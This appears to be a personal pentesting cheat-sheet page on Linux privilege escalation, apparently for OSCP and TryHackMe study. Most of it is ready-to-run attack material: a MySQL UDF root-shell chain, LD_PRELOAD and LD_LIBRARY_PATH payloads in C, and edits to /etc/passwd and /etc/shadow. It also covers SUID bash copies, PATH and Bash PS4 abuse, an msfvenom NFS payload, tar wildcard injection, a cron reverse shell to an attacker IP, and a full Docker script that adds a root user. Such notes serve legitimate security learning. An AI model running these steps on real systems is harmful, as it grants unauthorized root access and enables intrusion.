> For the complete documentation index, see [llms.txt](https://book.dragonsploit.com/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://book.dragonsploit.com/linux/privilege-escalation.md).

# Linux PrivEsc

Here is a resource of some privilege escalation paths I have either read about or come across.

## MySQL Service

If the MySQL service is being run by root and the "root" user's password for the service is known or null, you can take advantage of User Defined Functions (UDFs).

<https://github.com/0xdea/exploits/tree/master/mysql>

* Compile the raptor\_udf.c:

  ```bash
  gcc -g -c raptor_udf2.c -fPIC
  gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc
  ```
* Connect to mysql as the root user (not system root):

  ```bash
  mysql -u root
  ```
* Execute the following:

  ```bash
  use mysql;
  create table foo(line blob);
  insert into foo values(load_file('/home/user/tools/mysql-udf/raptor_udf2.so'));
  select * from foo into dumpfile '/usr/lib/mysql/plugin/raptor_udf2.so';
  create function do_system returns integer soname 'raptor_udf2.so';
  ```

  * Use the created function to copy the `/bin/bash` to `/tmp/rootbash`

    ```sql
    select do_system('cp /bin/bash /tmp/rootbash; chmod +xs 
    /tmp/rootbash');
    ```
  * Exit out of the mysql shell

    ```sql
    exit
    ```
  * Run the rootbash

    ```bash
    tmp/rootbash
    whoami
    ```

## Readable /etc/shadow

* Check if you have read permissions on `/etc/passwd`

  ```bash
  ls -l /etc/shadow
  ```

  * If you do copy the encrypted password and try to crack it with John or Hashcat

## Writable /etc/shadow

* Check if you have write access to `/etc/shadow`

  ```bash
  ls -l /etc/shadow
  ```
* If you do, edit the shadow file to either add a user or change a user's password

  ```bash
  mkpasswd -m sha-512 newpasswd
  ```

  * Change the password field in the `/etc/shadow` file

## Writable /etc/passwd

* Check the permissions to see if you have write access to `/etc/passwd`

  ```bash
  ls -l /etc/passwd
  ```
* Duplicate the root line and paste it at the bottom changing the username.

  ```bash
  newroot:x:0:0:root:/root:/bin/bash
  ```
* Create a password

  ```bash
  openssl passwd <newpassword>
  ```
* Switch to the new user

  ```bash
  su newroot
  ```

## Sudo - GTFO Bins

* Get a list of programs that the user can run as sudo

  ```bash
  sudo -l
  ```
* Check that list on GTFO Bins
  * <https://gtfobins.github.io>

    Some programs may not be on GTFO Bins. That does not mean they cannot be used to escalate privileges. Think about how they are used and consider running strace on them.

## Sudo - Environment Variables

Sudo can be configured to inherit environment variables from the user's environment.

* Check for inherited env variables env\_keep+=< env variable >

  ```bash
  sudo -l
  ```
* LD\_PRELOAD and LD\_LIBRARY\_PATH are both interesting variables
  * LD\_PRELOAD
    * Loads a shared object before any others when a program is run
  * LD\_LIBRARY\_PATH
    * Provides a list of directories where shared libraries are searched for first
* LD\_PRELOAD Exploit

  * Create a c program:

  ```bash
  #include <stdio.h>
  #include <sys/types.h>
  #include <stdlib.h>

  void _init() {
          unsetenv("LD_PRELOAD");
          setresuid(0,0,0);
          system("/bin/bash -p");
  }
  ```

  ```bash
  gcc -fPIC -shared -nostartfiles -o /tmp/preload.so /home/user/tools/sudo/preload.c
  ```

  * This can be compiled and put in the preload variable while running a sudoable program:

    ```bash
    sudo LD_PRELOAD=<path/to/your executable> <sudoable program>
    ```
* LD\_LIBRARY\_PATH Exploit
  * Check what shared libraries are used by a target program (one you can sudo with or has a SUID):

    ```bash
    ldd <path to program>
    ```
  * Create a shared object with the same name as one of the listed libraries:

    ```bash
    #include <stdio.h>
    #include <stdlib.h>

    static void hijack() __attribute__((constructor));

    void hijack() {
            unsetenv("LD_LIBRARY_PATH");
            setresuid(0,0,0);
            system("/bin/bash -p");
    }
    ```

    ```bash
    gcc -o /tmp/libcrypt.so.1 -shared -fPIC /home/user/tools/sudo/library_path.c
    ```
  * Set the LD\_LIBRARY\_PATH variable when you run a sudoable program

    ```bash
    sudo LD_LIBRARY_PATH=<path/to/shared/object> <sudoable program>
    ```

    * Note: you only want the path not the shared object name in the variable.

## Cron Jobs - File Permissions

The system-wide crontab is located at `/etc/crontab`. User crontabs may be found `/var/spool/cron/`

* View the system-wide crontab:

  ```bash
  cat /etc/crontab
  ```
* Check the permissions on any scripts or executables that may be running as a cron job:

  ```bash
  ls -l <path/to/file>
  ```
* If it is a shell script you can replace it with:

  ```bash
  #!/bin/bash
  bash -i >& /dev/tcp/<your IP>/<your port> 0>&1
  ```
* Then start a listener on the attacker machine and wait for the script to be ran

## Cron Jobs - PATH Environment Variable

* View the crontab
  * `cat /etc/crontab`
* The crontab file may define its own PATH and SHELL variables
  * You may be able to hijack a script or executable that a cron job calls if you can write to a location higher on the PATH variable than where that script lives and if the script is not called with a full path.
* Put your script or executable in the path so it will get ran by the crontab

## SUID/SGID Executable

* Find all SUID/SGID executables:

  ```bash
  find / -type f -a \( -perm -u+s -o -perm -g+s \) -exec ls -l {} \; 2> /dev/null
  ```
* You can check these with GTFO Bins
* If you cannot find what you need in GTFO Bins check them for known vulnerabilities.

If there is a script that can be manipulated or you are able to create a script you can try copying /bin/bash and setting the SUID bit.

```bash
cp /bin/bash /tmp
chmod u+s /tmp/bash
/tmp/bash -p
```

## Shared Object Injection

If a program has SUID or SGID or running as a cron job as a privileged user, use the `strace` command to search for missing objects that are referenced by an executable.

```bash
strace <path/to/executable> 2>&1 | grep -iE "wait|open|access|no such file"
```

* The wait command waits for a process to complete. If the process is not fully qualified, you may be able to path hijack the process.
* Look for an object that attempts to get loaded in a location you may have permissions to.
* Create a malicious file with the name and type it is expecting and put it in the directory it is looking for it in.
* You can also use `ltrace` It may not provide all the same output.

## Executable Using Environment Variables

If a program has SUID or SGID or running as a cron job as a privileged user, you may want to run strings on it or decompile it to see if it is trying to use your environment variables to launch an executable.

For example: maybe the program is trying to launch apache2 like this:

`service apache2 start`

In this case, the full path to the service is not being used therefore the program is using your PATH variable to locate the service. Create a malicious program with the name of the service trying to be executed and put it at the beginning of your path to get it to run.

An example C program could be:

```bash
int main() {
        setuid(0);
        system("/bin/bash -p");
}
```

* compile as service

  ```bash
  gcc -o service /home/user/tools/suid/service.c
  ```
* Add location to path

  ```bash
  PATH=.:$PATH
  ```
* Run the program or wait for the program to run

## Abusing Shell Function Names as File Paths

**Always know what version of shell or any other program you have access to or are running!**

In Bash versions <4.2-048, it is possible to define shell functions with names that resemble file paths. These functions can be exported so that they will be used instead of the intended executable in the path.

If an executable has SUID/GUID set or being ran by a privileged user, you can get a bash function to run as that user.

For example: the SUID/SGID program attempts to start `/usr/sbin/service` You can create the following function and it will attempt to use it before going to the file location and using the executable.

```bash
function /usr/sbin/service { /bin/bash -p; }
export -f /usr/sbin/service
```

Remember to export the function otherwise it will not be accessible outside of the current shell it was defined in.

## Abusing Shell Features Debug Mode

In Bash version < 4.4, when in debugging mode, Bash uses the environment variable PS4 to display an extra prompt for debugging statements.

You can set the PS4 variable to have an embedded command that will run as root if the program being debugged has SUID/SGID permission set.

```bash
env -i SHELLOPTS=xtrace PS4='$(cp /bin/bash /tmp/rootbash; chmod +xs /tmp/rootbash)' <path/to/SUID/SGID executable>
```

## Passwords & Keys - History Files

The `.*history` files may contain passwords if the user accidentally typed his or her password in the command line instead of a password prompt.

```bash
cat ~/.*history | less
```

## Config Files

Config files often contain passwords in plaintext or other reversible formats.

* Common locations for config files:
  * Home directories
  * `/etc`
* Look at config files to see if it contains any usernames and or passwords or references to files that may contain them.

## SSH Keys

Sometimes backups are created and are not secured. Peer around for backup files and make sure to look for hidden files as well. Some believe in security through obscurity.

Occasionally, users will create a copy of a sensitive file and store it somewhere else where they can easily retrieve it. Often, when this happens, the permissions on the copied file is changed to a less restrictive permission set.

For example: you find a copy of the .ssh folder which has the users private key which you can use to authenticate as them.

If an ssh key is password protected, you can use ssh2john to create a hash that can be brute forced.

```bash
ls -la <path>
```

* If you find an insecure private key, you can try:

  ```bash
  ssh -i <path/to/private/key> <user>@localhost
  ```

## NFS

Files created via NFS inherit the **remote** user's ID. If the user is root, and no\_root\_squash is set, the ID will instead be set to the "nobody" user.

* Check the NFS share configuration on the Debian VM:

  ```bash
    cat /etc/exports
  ```
* On the attacker machine switch to root if you are not already

  ```bash
  su root
  ```
* Create a mountpoint on your attacker machine and mount the /tmp share

  ```bash
  mkdir /tmp/nfs
  mount -o rw,vers=2 <target IP>:/tmp /tmp/nfs
  ```
* Generate a payload to be saved to the newly mounted location:

  ```bash
  msfvenom -p linux/x86/exec CMD="/bin/bash -p" -f elf -o /tmp/nfs/shell.elf
  ```
* Make it executable with suid

  ```bash
  chmod +xs /tmp/nfs/shell.elf
  ```
* Run it from the target machine.

## Wildcard PrivEsc - Tar

If tar is being ran with the wildcard '\*' as a user with higher privileges than you and you can write to the directory that tar is being ran in, you can create files with specially crafted file names to execute a command as that user.

* Create special crafted files that will add the option '--checkpoint=1' and '--checkpoint-action=exe='

  ```bash
    touch /<path/to/backup/> --checkpoint=1
  ```

  ```bash
    touch /<path/to/backup/> --checkpoint-action=exec=<executable file>
  ```

## Kernel Exploits

Kernel exploits should only be ran as a last ditch effort as they could crash the system or worse.

* The Linux Exploit Suggester 2 tool can identify potential kernel exploits on the target:

  ```bash
  perl linux-exploit-suggester-2.pl
  ```
* You will have to research any kernel exploits suggested.

## Docker

Check if you are in a docker container

```bash
cat /proc/self/cgroup | grep docker
```

From Wikipedia:

```
The cgroup is a Linux kernel feature that limits, accounts for, and isolates the resource usage of a collection of processes.
```

From manpages:

```
Control groups, usually referred to as cgroups, are a Linux kernel feature which allow processes to be organized into hierarchical groups whose usage of various types of resources can then be  limited and  monitored. The kernel's cgroup interface is provided  through a pseudo-filesystem called cgroupfs. Grouping is implemented in the core cgroup kernel code, while resource tracking and  limits are implemented in a set of per-resource-type subsystems (memory, CPU, and so on).
```

Here is a really good site that walks you through a docker privesc scenario.

* [Docker Privesc | Privilege escalation in Docker (flast101.github.io)](https://flast101.github.io/docker-privesc/)

  The basic gist is that docker allows you to mount a host directory into the docker container. If the user is in the docker group or otherwise has permissions to run docker, that user can mount the root directory and have root access to all files on that system. This includes write access to /etc/passwd and /etc/shadow.

```bash
docker run -tid -v /:/mnt/ --name man715 alpine
```

If you create a new user in the "new" file and cat it to the /etc/passwd of the host, you have yourself a new user you can `su` to.

```bash
openssl passwd -1 -salt mysalt P@ssw0rd
$1$mysalt$LSxioYd1q6Rl2LG.3IXwm/
```

```bash
echo 'man715:$1$mysalt$LSxioYd1q6Rl2LG.3IXwm/:0:0:root:/root:/bin/bash' > /mnt/tmp/new
```

```bash
    docker exec -ti man715 sh -c "cat /mnt/tmp/new >> /mnt/etc/passwd"
```

Here is a script copied from the link above:

```bash
#!/bin/bash

docker_test=$( docker ps | grep "CONTAINER ID" | cut -d " " -f 1-2 ) 

if [ $(id -u) -eq 0 ]; then
    echo "The user islready root. Have fun ;-)"
    exit

elif [ "$docker_test" == "CONTAINER ID" ]; then
    echo 'Please write down your new root credentials.'
    read -p 'Choose a root user name: ' rootname
    read -s -p 'Choose a root password: ' passw
    hpass=$(openssl passwd -1 -salt mysalt $passw)

    echo -e "$rootname:$hpass:0:0:root:/root:/bin/bash" > new_account
    mv new_account /tmp/new_account
    docker run -tid -v /:/mnt/ --name flast101.github.io alpine # CHANGE THIS IF NEEDED
    docker exec -ti flast101.github.io sh -c "cat /mnt/tmp/new_account >> /mnt/etc/passwd"
    sleep 1; echo '...'

    echo 'Success! Root user ready. Enter your password to login as root:'
    docker rm -f flast101.github.io
    docker image rm alpine
    rm /tmp/new_account
    su $rootname

else echo "Your account does not have permission to execute docker or docker is not running, aborting..."
    exit

fi
```

## Privilege Escalation Scripts

<https://github.com/rebootuser/LinEnum> <https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS> <https://github.com/diego-treitos/linux-smart-enumeration> <https://github.com/jondonas/linux-exploit-suggester-2>

## Mind Map

Here is a flow chart created by C0nd4: <https://github.com/C0nd4/OSCP-Priv-Esc>. When stuck, this is a good reminder of what to look at and what to look for. ![](https://raw.githubusercontent.com/C0nd4/OSCP-Priv-Esc/main/images/Linux%20Privilege%20Escalation.png)

## Resources

* <https://tryhackme.com/room/linuxprivesc>
* [Docker Privesc | Privilege escalation in Docker (flast101.github.io)](https://flast101.github.io/docker-privesc/)
